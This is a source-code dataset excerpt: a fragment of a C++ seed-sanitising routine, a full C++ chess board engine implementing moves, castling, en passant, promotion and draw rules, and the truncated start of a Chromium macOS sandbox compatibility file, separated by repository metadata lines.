sanitizedSeed) | uint_fast16_t { 1 }; // disallow zeros for our hex digits by initially setting to 1, which is our "hash" for the zero bit uint_fast16_t disallowMap = uint_fast16_t { 1 }; uint_fast8_t bitShiftCur = uint_fast8_t { 60 }; while(true) { // we ignore zeros, so use a do loop instead of while do { uint_fast64_t randomHexDigit = uint_fast64_t { 0xF } &randomBits; const uint_fast16_t indexBit = uint_fast16_t { 1 } << randomHexDigit; if(LIKELY(uint_fast16_t { 0 } == (indexBit & disallowMap))) { sanitizedSeed |= randomHexDigit << bitShiftCur; bitShiftCur -= uint_fast8_t { 4 }; if(UNLIKELY(uint_fast8_t { 0 } == bitShiftCur)) { goto exit_loop; } disallowMap |= indexBit; if(UNLIKELY(UNLIKELY(uint_fast8_t { 28 } == bitShiftCur) || UNLIKELY(uint_fast8_t { 24 } == bitShiftCur))) { // if bitShiftCur is 28 now then we just filled the low 4 bits for the high 32 bit number, // so for the upper 4 bits of the lower 32 bit number don't allow it to have the same // value as the lowest 4 bits of the upper 32 bits, and don't allow 0 and don't allow // the value at the bottom 4 bits // // if bitShiftCur is 28 then remove the disallowing of the lowest 4 bits of the upper 32 bit // number by only disallowing the previous number we just included (the uppre 4 bits of the lower // 32 bit value, and don't allow the lowest 4 bits, and don't allow 0. disallowMap = indexBit | disallowMapFuture; } } randomBits >>= 4; } while(LIKELY(uint_fast64_t { 0 } != randomBits)); // ok, this is sort of a two time pad I guess, but we shouldn't ever use it more than twice in real life originalRandomBits = GetOneTimePadConversion(originalRandomBits ^ Rand64()); randomBits = originalRandomBits; } exit_loop:; // is the lowest bit set as it should? EBM_ASSERT(uint_fast64_t { 1 } == sanitizedSeed % uint_fast64_t { 2 }); m_state1 = sanitizedSeed; m_state2 = sanitizedSeed; m_stateSeedConst = sanitizedSeed; m_randomRemainingMax = uint_fast64_t { 0 }; m_randomRemaining = uint_fast64_t { 0 }; }
44.627329
114
0.709116
mikewlange
0e8a8c778db01a6a05843c460625f9b2cae3a6ce
35,596
cpp
C++
Board.cpp
micheleasara/Chess-Cpp17
0477826a182056879457a0493844a8c9141166e0
[ "MIT" ]
null
null
null
Board.cpp
micheleasara/Chess-Cpp17
0477826a182056879457a0493844a8c9141166e0
[ "MIT" ]
null
null
null
Board.cpp
micheleasara/Chess-Cpp17
0477826a182056879457a0493844a8c9141166e0
[ "MIT" ]
null
null
null
#include "Board.hpp" #include "Zobrist.hpp" #include "Rook.hpp" #include "Bishop.hpp" #include "Queen.hpp" #include "Knight.hpp" #include "King.hpp" #include "Pawn.hpp" #include <iostream> #include <stdexcept> #include <iomanip> #include <sstream> /// Defines the number of squares the king travels to castle. int constexpr CASTLE_DISTANCE = 2; /// Defines the horizontal printing space used for a square of the board. int constexpr H_PRINT_SIZE = 15; namespace Chess { struct Board::PastMove { PastMove(Board const& board, Coordinates const& source, Coordinates const& destination, bool sourceMoved, std::unique_ptr<Piece> removedPiece = nullptr): PastMove(board, source, destination, sourceMoved, std::move(removedPiece), destination) {} PastMove(Board const& board, Coordinates const& source, Coordinates const& destination, bool sourceMoved, std::unique_ptr<Piece> capturedPiece, Coordinates const& capturedCoords): source(source), destination(destination), sourceMovedStatus(sourceMoved), removedPieceCoords(capturedCoords), removedPiece(std::move(capturedPiece)), isWhiteTurn(board.isWhiteTurn), promotionSource(board.promotionSource), boardHashCount(board.boardHashCount), countSincePawnMoveOrCapture(board.countSincePawnMoveOrCapture), threeFoldRepetition(board.threeFoldRepetition), insufficientMaterial(board.insufficientMaterial) {} Coordinates source; Coordinates destination; bool sourceMovedStatus = false; Coordinates removedPieceCoords; std::unique_ptr<Piece> removedPiece = nullptr; bool isWhiteTurn = false; std::optional<Coordinates> promotionSource; std::unordered_map<int, size_t> boardHashCount; int countSincePawnMoveOrCapture = 0; bool threeFoldRepetition = false; std::unordered_set<std::reference_wrapper<Piece>, PieceRefHasher> insufficientMaterial; }; Coordinates Board::stringToCoordinates(std::string_view coord) { if (coord.size() != 2) { throw std::invalid_argument(std::string(coord) + std::string(" is an invalid coordinate pair. Size must be 2")); } if (coord[0] < MIN_COLUMN || coord[0] > MAX_COLUMN) { throw std::out_of_range(std::string(coord) + std::string(" is an invalid coordinate pair. Column must be within ") + MIN_COLUMN + std::string(" and ") + MAX_COLUMN); } if (coord[1] < MIN_ROW || coord[1] > MAX_ROW) { throw std::out_of_range(std::string(coord) + std::string(" is an invalid coordinate pair. Row must be within ") + MIN_ROW + std::string(" and ") + MAX_ROW); } return Coordinates(static_cast<int>(coord[0] - MIN_COLUMN), static_cast<int>(coord[1] - MIN_ROW)); } std::string Board::coordinatesToString(Coordinates const& coord) { if (coord.column > MAX_COL_NUM || coord.row > MAX_ROW_NUM || coord.column < 0 || coord.row < 0) { throw std::out_of_range("Coordinates are beyond the board limits"); } return std::string(1, static_cast<char>(coord.column + MIN_COLUMN)) + std::string(1, static_cast<char>(coord.row + MIN_ROW)); } bool Board::areWithinLimits(Coordinates const& coord) { char row = static_cast<char>(coord.row) + MIN_ROW; char col = static_cast<char>(coord.column) + MIN_COLUMN; return (row >= MIN_ROW && row <= MAX_ROW && col >= MIN_COLUMN && col <= MAX_COLUMN); } bool Board::areInSameRow(Coordinates const& coord1, Coordinates const& coord2) { return (coord1.row == coord2.row); } bool Board::areInSameColumn(Coordinates const& coord1, Coordinates const& coord2) { return (coord1.column == coord2.column); } bool Board::areInSameDiagonal(Coordinates const& coord1, Coordinates const& coord2) { return (abs(coord1.column - coord2.column) == abs(coord1.row - coord2.row)); } Colour Board::currentPlayer() const { return isWhiteTurn ? Colour::White : Colour::Black; } bool Board::isGameOver() const { return m_isGameOver; } Board::Board(): Board(std::make_unique<ZobristHasher>()) {} Board::Board(std::unique_ptr<BoardHasher> hasher): hasher(std::move(hasher)) { if (this->hasher == nullptr) { throw std::invalid_argument("The board hasher cannot be null"); } initializePiecesInStandardPos(); } Board::Board(std::vector<Coordinates> const& whitePawns, std::vector<Coordinates> const& whiteRooks, std::vector<Coordinates> const& whiteKnights, std::vector<Coordinates> const& whiteBishops, std::vector<Coordinates> const& whiteQueens, Coordinates const& whiteKing, std::vector<Coordinates> const& blackPawns, std::vector<Coordinates> const& blackRooks, std::vector<Coordinates> const& blackKnights, std::vector<Coordinates> const& blackBishops, std::vector<Coordinates> const& blackQueens, Coordinates const& blackKing): hasher(std::make_unique<ZobristHasher>(whitePawns, whiteRooks, whiteKnights, whiteBishops, whiteQueens, whiteKing, blackPawns, blackRooks, blackKnights, blackBishops, blackQueens, blackKing)) { std::array<Colour, 2> colours = {Colour::White, Colour::Black}; for (auto const& colour : colours) { initializePawns(colour == Colour::White ? whitePawns : blackPawns, colour); initializeRooks(colour == Colour::White ? whiteRooks : blackRooks, colour); initializeKnights(colour == Colour::White ? whiteKnights : blackKnights, colour); initializeBishops(colour == Colour::White ? whiteBishops : blackBishops, colour); initializeQueens(colour == Colour::White ? whiteQueens : blackQueens, colour); initializeKing(colour == Colour::White ? whiteKing : blackKing, colour); } checkGameState(); } Board::Board(Board&& other) noexcept { operator=(std::move(other)); } Board& Board::operator=(Board&& other) noexcept { m_isGameOver = other.m_isGameOver; isWhiteTurn = other.isWhiteTurn; promotionSource = std::move(other.promotionSource); board = std::move(other.board); kings = std::move(other.kings); hasher = std::move(other.hasher); boardHashCount = std::move(other.boardHashCount);; threeFoldRepetition = other.threeFoldRepetition; countSincePawnMoveOrCapture = other.threeFoldRepetition; insufficientMaterial = std::move(other.insufficientMaterial); movesHistory = std::move(other.movesHistory); for (auto& column: board) { for (auto& piece: column) { if (piece != nullptr) { // assign existing pieces to the current Board object piece->setBoard(*this); } } } for (auto& pastMove : movesHistory) { if (pastMove.removedPiece) { // assign removed pieces to the current Board object pastMove.removedPiece->setBoard(*this); } } return *this; } void Board::initializePawns(std::vector<Coordinates> const& coords, Colour colour) { initializePieces<Pawn>(coords, colour, [&](Coordinates const& coord) { auto& coords = (colour == Colour::White ? Pawn::WHITE_STD_INIT : Pawn::BLACK_STD_INIT); return std::find(coords.begin(), coords.end(), coord) != coords.end(); }); auto promotionRow = (colour == Colour::White) ? MAX_ROW_NUM : 0; for (auto const& coord : coords) { if (coord.row == promotionRow) { if (promotionSource.has_value()) { throw std::invalid_argument("Only one pawn can be positioned for " "promotion in any given turn"); } promotionSource = coord; } } } void Board::initializeRooks(std::vector<Coordinates> const& coords, Colour colour) { initializePieces<Rook>(coords, colour, [&](Coordinates const& coord) { auto& coords = (colour == Colour::White ? Rook::WHITE_STD_INIT : Rook::BLACK_STD_INIT); return std::find(coords.begin(), coords.end(), coord) != coords.end(); }); } void Board::initializeKnights(std::vector<Coordinates> const& coords, Colour colour) { initializePieces<Knight>(coords, colour, [&](Coordinates const& coord) { auto& coords = (colour == Colour::White ? Knight::WHITE_STD_INIT : Knight::BLACK_STD_INIT); return std::find(coords.begin(), coords.end(), coord) != coords.end(); }, [this](auto& piece) { insufficientMaterial.emplace(piece); } ); } void Board::initializeBishops(std::vector<Coordinates> const& coords, Colour colour) { initializePieces<Bishop>(coords, colour, [&](Coordinates const& coord) { auto& coords = (colour == Colour::White ? Bishop::WHITE_STD_INIT : Bishop::BLACK_STD_INIT); return std::find(coords.begin(), coords.end(), coord) != coords.end(); }, [this](auto& piece) { insufficientMaterial.emplace(piece); } ); } void Board::initializeQueens(std::vector<Coordinates> const& coords, Colour colour) { initializePieces<Queen>(coords, colour, [&](Coordinates const& coord) { return coord == (colour == Colour::White ? Queen::WHITE_STD_INIT : Queen::BLACK_STD_INIT); }); } void Board::initializeKing(Coordinates const& coords, Colour colour) { initializePieces<King>({coords}, colour, [&](Coordinates const& coord) { return coord == (colour == Colour::White ? King::WHITE_STD_INIT : King::BLACK_STD_INIT); }, [&](King& king) { insufficientMaterial.emplace(king); kings.emplace(colour, king); }); } template <typename Chessman, typename Predicate> void Board::initializePieces(std::vector<Coordinates> const& coords, Colour colour, Predicate&& isStandardStartingPos) { initializePieces<Chessman>(coords, colour, isStandardStartingPos, [](auto const&) {}); } template <typename Chessman, typename Predicate, typename Callable> void Board::initializePieces(std::vector<Coordinates> const& coords, Colour colour, Predicate&& isStandardStartingPos, Callable&& finalActions) { for (auto const& coord : coords) { if (!areWithinLimits(coord)) { throw std::invalid_argument("Coordinates go beyond the board limits"); } if (at(coord) != nullptr) { throw std::invalid_argument("Cannot initialize board with two or more" " pieces in the same coordinates"); } auto chessman = std::make_unique<Chessman>(colour, *this); if (!isStandardStartingPos(coord)) { chessman->setMovedStatus(true); } finalActions(*chessman); board[coord.column][coord.row] = std::move(chessman); } } bool Board::drawCanBeClaimed() const { // 50 moves rule is to be intended as 50 by each player, so 100 in total here return (threeFoldRepetition || countSincePawnMoveOrCapture >= 100) && !promotionPending(); } void Board::claimDraw() { if (drawCanBeClaimed()) { m_isGameOver = true; } } void Board::initializePiecesInStandardPos() { std::array<Colour, 2> colours = {Colour::White, Colour::Black}; for (auto const& colour : colours) { initializePawns(colour == Colour::White ? Pawn::WHITE_STD_INIT : Pawn::BLACK_STD_INIT, colour); initializeRooks(colour == Colour::White ? Rook::WHITE_STD_INIT : Rook::BLACK_STD_INIT, colour); initializeKnights(colour == Colour::White ? Knight::WHITE_STD_INIT : Knight::BLACK_STD_INIT, colour); initializeBishops(colour == Colour::White ? Bishop::WHITE_STD_INIT : Bishop::BLACK_STD_INIT, colour); initializeQueens({colour == Colour::White ? Queen::WHITE_STD_INIT : Queen::BLACK_STD_INIT}, colour); initializeKing(colour == Colour::White ? King::WHITE_STD_INIT : King::BLACK_STD_INIT, colour); } } void Board::reset() { countSincePawnMoveOrCapture = 0; hasher->reset(); promotionSource.reset(); boardHashCount.clear(); isWhiteTurn = true; m_isGameOver = false; threeFoldRepetition = false; for (auto& column : board) { for (auto& piece : column) { piece.reset(); } } kings.clear(); movesHistory.clear(); insufficientMaterial.clear(); initializePiecesInStandardPos(); } MoveResult Board::move(std::string_view src, std::string_view destination) { Coordinates sourceCoord; Coordinates targetCoord; try { sourceCoord = stringToCoordinates(src); targetCoord = stringToCoordinates(destination); } catch (std::exception const& e) { throw InvalidMove(e.what(), InvalidMove::ErrorCode::INVALID_COORDINATES); } return move(sourceCoord, targetCoord); } MoveResult Board::move(Coordinates const& src, Coordinates const& destination) { if (at(src) == nullptr) { std::string sourceStr; try { sourceStr = Board::coordinatesToString(src); } catch (std::exception const& e) { throw InvalidMove(e.what(), InvalidMove::ErrorCode::INVALID_COORDINATES); } std::stringstream ss; ss << "There is no piece at position " << sourceStr; throw InvalidMove(ss.str(), InvalidMove::ErrorCode::NO_SOURCE_PIECE); } return board[src.column][src.row]->move(src, destination); } void Board::ensurePieceIsAtSource(Piece const& piece, Coordinates const& source) const { if (&piece != at(source)) { throw std::logic_error("Piece is not at the specified source coordinates"); } } MoveResult Board::move(Pawn& piece, Coordinates const& source, Coordinates const& destination) { ensurePieceIsAtSource(piece, source); return move(source, destination, [this, &piece] (Coordinates const& source, Coordinates const& destination) { if (isValidEnPassant(piece, source, destination)) { auto toCaptureRow = (destination.row == 2) ? 3 : MAX_ROW_NUM - 3; Coordinates toCapture(destination.column, toCaptureRow); auto& srcPiecePtr = board[source.column][source.row]; movesHistory.emplace_back(*this, source, destination, srcPiecePtr->getMovedStatus(), std::move(board[toCapture.column][toCapture.row]), toCapture); srcPiecePtr->setMovedStatus(true); board[destination.column][destination.row] = std::move(srcPiecePtr); } else { recordAndMove(source, destination); } if ((piece.getColour() == Colour::White && destination.row == MAX_ROW_NUM) || (piece.getColour() == Colour::Black && destination.row == 0)) { promotionSource = destination; } countSincePawnMoveOrCapture = 0; }); } MoveResult Board::move(PromotionPiece& piece, Coordinates const& source, Coordinates const& destination) { ensurePieceIsAtSource(piece, source); return move(source, destination, [this] (Coordinates const& source, Coordinates const& destination) { recordAndMove(source, destination); countSincePawnMoveOrCapture++; }); } MoveResult Board::move(King& piece, Coordinates const& source, Coordinates const& destination) { ensurePieceIsAtSource(piece, source); return move(source, destination, [this] (Coordinates const& source, Coordinates const& destination) { recordAndMove(source, destination); countSincePawnMoveOrCapture++; }); } template <typename Callable> MoveResult Board::move(Coordinates const& source, Coordinates const& destination, Callable&& mover) { ensureGameNotOver(); ensureNoPromotionNeeded(); auto& piece = *(board[source.column][source.row]); ensurePlayerCanMovePiece(piece); auto gameState = MoveResult::GameState::NORMAL; if (auto castlingType = tryCastling(source, destination)) { countSincePawnMoveOrCapture++; gameState = checkGameState(); togglePlayer(); return MoveResult(gameState, *castlingType); } if (!piece.isNormalMove(source, destination)) { std::string sourceStr, targetStr; try { sourceStr = coordinatesToString(source); targetStr = coordinatesToString(destination); } catch (std::exception const& e) { throw InvalidMove(e.what(), InvalidMove::ErrorCode::INVALID_COORDINATES); } std::stringstream ss; ss << piece << " cannot move from " << sourceStr << " to " << targetStr; throw InvalidMove(ss.str(), InvalidMove::ErrorCode::PIECE_LOGIC_ERROR); } // may need to restore count if move causes self check auto tmpCount = countSincePawnMoveOrCapture; mover(source, destination); if (isInCheck(currentPlayer())) { std::stringstream ss; promotionSource.reset(); revertLastPieceMovement(); movesHistory.pop_back(); countSincePawnMoveOrCapture = tmpCount; ss << (isWhiteTurn? "White" : "Black") << "'s move is invalid as they would be in check"; throw InvalidMove(ss.str(), InvalidMove::ErrorCode::CHECK_ERROR); } auto& lastMove = movesHistory.back(); if (lastMove.destination != lastMove.removedPieceCoords) { // en passant hasher->removed(lastMove.removedPieceCoords); } hasher->pieceMoved(source, destination); std::optional<std::string> capturedPieceName; if (lastMove.removedPiece != nullptr) { countSincePawnMoveOrCapture = 0; capturedPieceName = lastMove.removedPiece->name(); } if (promotionPending()) { gameState = MoveResult::GameState::AWAITING_PROMOTION; } else { hasher->togglePlayer(); auto hash = hasher->hash(); boardHashCount[hash]++; gameState = checkGameState(); if (boardHashCount.at(hash) >= 3) { threeFoldRepetition = true; } togglePlayer(); } if (capturedPieceName) { return MoveResult(gameState, *capturedPieceName); } return MoveResult(gameState); } void Board::ensureGameNotOver() { if (m_isGameOver) { throw InvalidMove("Game is already over, please reset", InvalidMove::ErrorCode::GAME_OVER); } } void Board::ensurePlayerCanMovePiece(Piece const& piece) { auto pieceColour = piece.getColour(); if ((pieceColour == Colour::Black && isWhiteTurn) || (pieceColour == Colour::White && !isWhiteTurn)) { std::stringstream ss; ss << "It is not " << (isWhiteTurn ? "Black" : "White"); ss << "'s turn to move"; throw InvalidMove(ss.str(), InvalidMove::ErrorCode::WRONG_TURN); } } bool Board::promotionPending() const { return promotionSource.has_value(); } void Board::ensureNoPromotionNeeded() { if (promotionPending()) { throw InvalidMove("Promote pawn before continuing", InvalidMove::ErrorCode::PENDING_PROMOTION); } } MoveResult::GameState Board::checkGameState() { Colour enemyColour; enemyColour = isWhiteTurn ? Colour::Black : Colour::White; bool inCheck = isInCheck(enemyColour); bool hasMoves = hasMovesLeft(enemyColour); if (inCheck && !hasMoves) { m_isGameOver = true; return MoveResult::GameState::OPPONENT_IN_CHECKMATE; } else if (!inCheck && !hasMoves) { m_isGameOver = true; return MoveResult::GameState::STALEMATE; } else if (countSincePawnMoveOrCapture >= 150) { // 75 by each player m_isGameOver = true; return MoveResult::GameState::SEVENTYFIVE_MOVES_DRAW; } else if (boardHashCount.count(hasher->hash()) && boardHashCount.at(hasher->hash()) >= 5) { m_isGameOver = true; return MoveResult::GameState::FIVEFOLD_REPETITION_DRAW; } else if (!sufficientMaterial()) { m_isGameOver = true; return MoveResult::GameState::INSUFFICIENT_MATERIAL_DRAW; } else if (inCheck && hasMoves) { return MoveResult::GameState::OPPONENT_IN_CHECK; } return MoveResult::GameState::NORMAL; } void Board::togglePlayer() { isWhiteTurn = !isWhiteTurn; } std::optional<CastlingType> getCastlingType(Coordinates const& source, Coordinates const& target) { if (source != King::WHITE_STD_INIT && source != King::BLACK_STD_INIT) { return std::nullopt; } // in castling, row is always the king's if (target.row != source.row) { return std::nullopt; } int colOffset = source.column - target.column; if (colOffset == -CASTLE_DISTANCE) { return CastlingType::KingSide; } else if (colOffset == CASTLE_DISTANCE) { return CastlingType::QueenSide; } return std::nullopt; } std::optional<CastlingType> Board::tryCastling(Coordinates const& source, Coordinates const& target) { auto castlingTypeOpt = getCastlingType(source, target); if (!castlingTypeOpt) { return std::nullopt; } auto castlingType = castlingTypeOpt.value(); int dir = 0; // column directionality for castling Coordinates rookTarget, rookSource; if (castlingType == CastlingType::KingSide) { rookSource = Coordinates(MAX_COL_NUM, source.row); rookTarget = Coordinates(MAX_COL_NUM - 2, source.row); dir = 1; } else { rookSource = Coordinates(0, source.row); rookTarget = Coordinates(3, source.row); dir = -1; } if (at(rookSource) == nullptr || at(source) == nullptr) { return std::nullopt; } if (!isFreeRow(source, target.column) || at(target) != nullptr) { return std::nullopt; } if (at(rookSource)->getMovedStatus() || at(source)->getMovedStatus()) { return std::nullopt; } if (isInCheck(at(source)->getColour())) { return std::nullopt; } // check if king's path is under attack for (auto coord = Coordinates(source.column + dir, source.row); coord.column != target.column; coord.column += dir) { if (isSuicide(source, coord)) { return std::nullopt; } } // simulate castling and abort if it ends up in a check recordAndMove(rookSource, rookTarget); recordAndMove(source, target); if (isInCheck(at(target)->getColour())) { revertLastPieceMovement(); movesHistory.pop_back(); revertLastPieceMovement(); movesHistory.pop_back(); return std::nullopt; } hasher->pieceMoved(rookSource, rookTarget); hasher->pieceMoved(source, target); hasher->togglePlayer(); boardHashCount[hasher->hash()]++; return castlingType; } bool Board::sufficientMaterial() const { std::vector<std::reference_wrapper<Piece>> whites; std::vector<std::reference_wrapper<Piece>> blacks; for (auto& column: board) { for (auto& piecePtr: column) { if (piecePtr == nullptr) { continue; } if (piecePtr->getColour() == Colour::White) { whites.emplace_back(*piecePtr); } else { blacks.emplace_back(*piecePtr); } } } if (whites.size() > 2 || blacks.size() > 2) { return true; } for (auto const& white : whites) { if (insufficientMaterial.count(white) == 0) { return true; } } for (auto const& black : blacks) { if (insufficientMaterial.count(black) == 0) { return true; } } return false; } bool Board::isFreeColumn(Coordinates const& source, int limitRow) const { if (source.row == limitRow) { throw std::invalid_argument("source row and limitRow cannot be equal"); } // figure out directionality int dir = (source.row > limitRow) ? -1: 1; Coordinates src = source; for (int row = src.row + dir; row != limitRow; row += dir) { src.row = row; if (!areWithinLimits(src)) { throw std::invalid_argument("Coordinates go beyond the board limits"); } if (at(src)) { return false; } } return true; } bool Board::isFreeRow(Coordinates const& source, int limitCol) const { if (source.column == limitCol) { throw std::invalid_argument("source column and limitCol cannot be equal"); } // figure out directionality int dir = (source.column > limitCol) ? -1 : 1; Coordinates src = source; for (int column = src.column+dir; column != limitCol; column += dir) { src.column = column; if (!areWithinLimits(src)) { throw std::invalid_argument("Coordinates go beyond the board limits"); } if (at(src)) { return false; } } return true; } bool Board::isDiagonalFree(Coordinates const& source, Coordinates const& destination) const { if (source == destination) { throw std::invalid_argument("source and destination cannot be equal"); } if (!areInSameDiagonal(source, destination)) { throw std::invalid_argument("source and destination are" " not in the same diagonal"); } // figure out directionality int rowAdd = (source.row > destination.row)? -1 : 1; int columnAdd = (source.column > destination.column)? -1 : 1; // this will not check the extremes, as intended Coordinates src = source; for (src = Coordinates(src.column + columnAdd, src.row + rowAdd); src != destination; src.row += rowAdd, src.column += columnAdd) { if (!areWithinLimits(src)) { throw std::invalid_argument("Coordinates go beyond the board limits"); } if (at(src)) { return false; } } return true; } Piece const* Board::at(Coordinates const& coord) const { return board.at(coord.column).at(coord.row).get(); } std::optional<Coordinates> Board::getPieceCoordinates(Piece const& piece) const { for (size_t i = 0; i < board.size(); i++) { for (size_t j = 0; j < board[i].size(); j++) { if (board[i][j].get() == &piece) { return Coordinates(i, j); } } } return std::nullopt; } bool Board::isInCheck(Colour kingColour) const { if (auto kingCoord = getPieceCoordinates(kings.at(kingColour))) { for (size_t i = 0; i < board.size(); i++) { for (size_t j = 0; j < board[i].size(); j++) { auto& piece = board[i][j]; // check if an enemy piece can move where the king is if (piece != nullptr && piece->getColour() != kingColour && piece->isNormalMove(Coordinates(i,j), *kingCoord)) { return true; } } } return false; } throw std::logic_error("Attempted to find non-existent king while looking " "for a check."); } bool Board::hasMovesLeft(Colour colour) { for (size_t i = 0; i < board.size(); i++) { for (size_t j = 0; j < board[i].size(); j++) { if (board[i][j] == nullptr || board[i][j]->getColour() != colour) { continue; } auto srcCoord = Coordinates(i, j); if (pieceHasMovesLeft(srcCoord)) { return true; } } } // tried all possible moves and check is unavoidable return false; } bool Board::pieceHasMovesLeft(Coordinates const& srcCoord) { for (size_t i = 0; i < board.size(); i++) { for (size_t j = 0; j < board[i].size(); j++) { Coordinates targetCoord(i, j); if (at(srcCoord)->isNormalMove(srcCoord, targetCoord) && !isSuicide(srcCoord, targetCoord)) { return true; } } } return false; } void Board::recordAndMove(Coordinates const& source, Coordinates const& destination) { auto& pieceDest = board[destination.column][destination.row]; auto& pieceSrc = board[source.column][source.row]; if (pieceDest != nullptr) { movesHistory.emplace_back(*this, source, destination, pieceSrc->getMovedStatus(), std::move(pieceDest)); } else { movesHistory.emplace_back(*this, source, destination, pieceSrc->getMovedStatus()); } pieceSrc->setMovedStatus(true); pieceDest = std::move(pieceSrc); } bool Board::isSuicide(Coordinates const& source, Coordinates const& destination) { recordAndMove(source, destination); bool check = isInCheck(at(destination)->getColour()); revertLastPieceMovement(); movesHistory.pop_back(); return check; } void Board::undoLastMove() { if (movesHistory.size() > 0) { auto srcMoved = movesHistory.back().sourceMovedStatus; auto castling = getCastlingType(movesHistory.back().source, movesHistory.back().destination); // castling and promotion are stored as 2 moves if ((castling.has_value() && !srcMoved) || movesHistory.back().source == movesHistory.back().destination) { revertLastPieceMovement(); movesHistory.pop_back(); hasher->restorePreviousHash(); } revertLastPieceMovement(); auto& lastMove = movesHistory.back(); m_isGameOver = false; isWhiteTurn = lastMove.isWhiteTurn; promotionSource = lastMove.promotionSource; boardHashCount = lastMove.boardHashCount; countSincePawnMoveOrCapture = lastMove.countSincePawnMoveOrCapture; threeFoldRepetition = lastMove.threeFoldRepetition; insufficientMaterial = lastMove.insufficientMaterial; movesHistory.pop_back(); hasher->restorePreviousHash(); } } void Board::revertLastPieceMovement() { auto& lastMove = movesHistory.back(); auto& source = lastMove.source; auto& dest = lastMove.destination; board[source.column][source.row] = std::move(board[dest.column][dest.row]); board[source.column][source.row] ->setMovedStatus(lastMove.sourceMovedStatus); if (lastMove.removedPiece != nullptr) { Coordinates target = dest; if (lastMove.removedPieceCoords != lastMove.destination) { // en passant target = lastMove.removedPieceCoords; } board[target.column][target.row] = std::move(lastMove.removedPiece); } } bool Board::isValidEnPassant(Pawn const& pawn, Coordinates const& source, Coordinates const& destination) const { if (&pawn != at(source) || movesHistory.empty()) { return false; } auto& lastMove = movesHistory.back(); auto lastMoveColour = lastMove.isWhiteTurn ? Colour::White : Colour::Black; if (lastMove.sourceMovedStatus || pawn.getColour() == lastMoveColour) { return false; } auto& lastMoveDest = lastMove.destination; if (source.row != lastMoveDest.row || abs(source.column - lastMoveDest.column) != 1) { return false; } auto& lastMoveSrc = lastMove.source; if (destination.column != lastMoveSrc.column) { return false; } if (lastMoveSrc.row == 1 && lastMoveDest.row == 3 && destination.row == 2) { return true; } if (lastMoveSrc.row == MAX_ROW_NUM - 1 && lastMoveDest.row == MAX_ROW_NUM - 3 && destination.row == MAX_ROW_NUM - 2) { return true; } return false; } std::optional<MoveResult> Board::promote(PromotionOption piece) { if (!promotionSource) { return std::nullopt; } auto& source = *promotionSource; auto& piecePtr = board[source.column][source.row]; auto moved = piecePtr->getMovedStatus(); movesHistory.emplace_back(*this, source, source, moved, std::move(piecePtr)); piecePtr = std::move(buildPromotionPiece(piece)); if (piece == PromotionOption::Knight || piece == PromotionOption::Bishop) { insufficientMaterial.emplace(*piecePtr); } promotionSource.reset(); auto state = checkGameState(); hasher->replacedWithPromotion(source, piece, currentPlayer()); togglePlayer(); hasher->togglePlayer(); return MoveResult(state); } std::unique_ptr<PromotionPiece> Board::buildPromotionPiece( PromotionOption piece) { switch (piece) { case PromotionOption::Queen: return std::make_unique<Queen>(currentPlayer(), *this); case PromotionOption::Knight: return std::make_unique<Knight>(currentPlayer(), *this); case PromotionOption::Bishop: return std::make_unique<Bishop>(currentPlayer(), *this); case PromotionOption::Rook: return std::make_unique<Rook>(currentPlayer(), *this); default: throw std::logic_error("Promotion not correctly implemented"); } } void printBottomLines(std::ostream& out) { out << "\n|"; for (int j = 0; j <= Board::MAX_COL_NUM; j++) { out << std::setw(H_PRINT_SIZE) << "|"; } out << "\n|"; for (int j = 0; j <= Board::MAX_COL_NUM; j++) { for (int i = 0; i < H_PRINT_SIZE - 1; i++) { out << '-'; } out << '|'; } } void printColumnLegend(std::ostream& out) { for (char ch = Board::MIN_COLUMN; ch <= Board::MAX_COLUMN; ch++) { out << std::setw((std::streamsize)H_PRINT_SIZE / 2 + 1) << ch; out << std::setw(H_PRINT_SIZE / 2) << " "; } } void printTopLine(std::ostream& out) { out << "\n|"; for (int j = 0; j <= Board::MAX_COL_NUM; j++) { out << std::setw(H_PRINT_SIZE) << '|'; } out << "\n|"; } std::ostream& operator<<(std::ostream& out, Board const& board) { for (int r = board.MAX_ROW_NUM; r >= 0; r--) { printTopLine(out); for (int c = 0; c <= board.MAX_ROW_NUM; c++) { Coordinates iterCoord(c, r); if (auto piece = board.at(iterCoord)) { out << std::right; out << std::setw((std::streamsize)H_PRINT_SIZE - 1); out << *piece << '|'; } else { out << std::setw(H_PRINT_SIZE) << "|"; } if (c == board.MAX_ROW_NUM) { out << " " << r+1; } } printBottomLines(out); } out << "\n"; printColumnLegend(out); return out << "\n\n"; } Board::~Board() = default; }
34.226923
86
0.607428
micheleasara
0e8d08f5d75075d4df837ad986329c3b57faa785
5,971
cc
C++
sandbox/mac/os_compatibility.cc
Wzzzx/chromium-crosswalk
768dde8efa71169f1c1113ca6ef322f1e8c9e7de
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
2
2019-01-28T08:09:58.000Z
2021-11-15T15:32:10.000Z
sandbox/mac/os_compatibility.cc
Wzzzx/chromium-crosswalk
768dde8efa71169f1c1113ca6ef322f1e8c9e7de
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
sandbox/mac/os_compatibility.cc
Wzzzx/chromium-crosswalk
768dde8efa71169f1c1113ca6ef322f1e8c9e7de
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
6
2020-09-23T08:56:12.000Z
2021-11-18T03:40:49.000Z
// Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "sandbox/mac/os_compatibility.h" #include <servers/bootstrap.h> #include <stddef.h> #include <stdint.h> #include <unistd.h> #include "base/logging.h" #include "base/mac/mac_util.h" #include "base/memory/ptr_util.h" #include "sandbox/mac/xpc.h" namespace sandbox { namespace { #pragma pack(push, 4) // Verified from launchd-329.3.3 (10.6.8). // look_up2_reply_10_7 is the same as the 10_6 version. struct look_up2_reply_10_7 { mach_msg_header_t Head; mach_msg_body_t msgh_body; mach_msg_port_descriptor_t service_port; }; // Verified from: // launchd-392.39 (10.7.5) // launchd-442.26.2 (10.8.5) // launchd-842.1.4 (10.9.0) struct look_up2_request_10_7 { mach_msg_header_t Head; NDR_record_t NDR; name_t servicename; pid_t targetpid; uuid_t instanceid; uint64_t flags; }; // Verified from: // launchd-329.3.3 (10.6.8) // launchd-392.39 (10.7.5) // launchd-442.26.2 (10.8.5) // launchd-842.1.4 (10.9.0) typedef int vproc_gsk_t; // Defined as an enum in liblaunch/vproc_priv.h. struct swap_integer_request_10_7 { mach_msg_header_t Head; NDR_record_t NDR; vproc_gsk_t inkey; vproc_gsk_t outkey; int64_t inval; }; #pragma 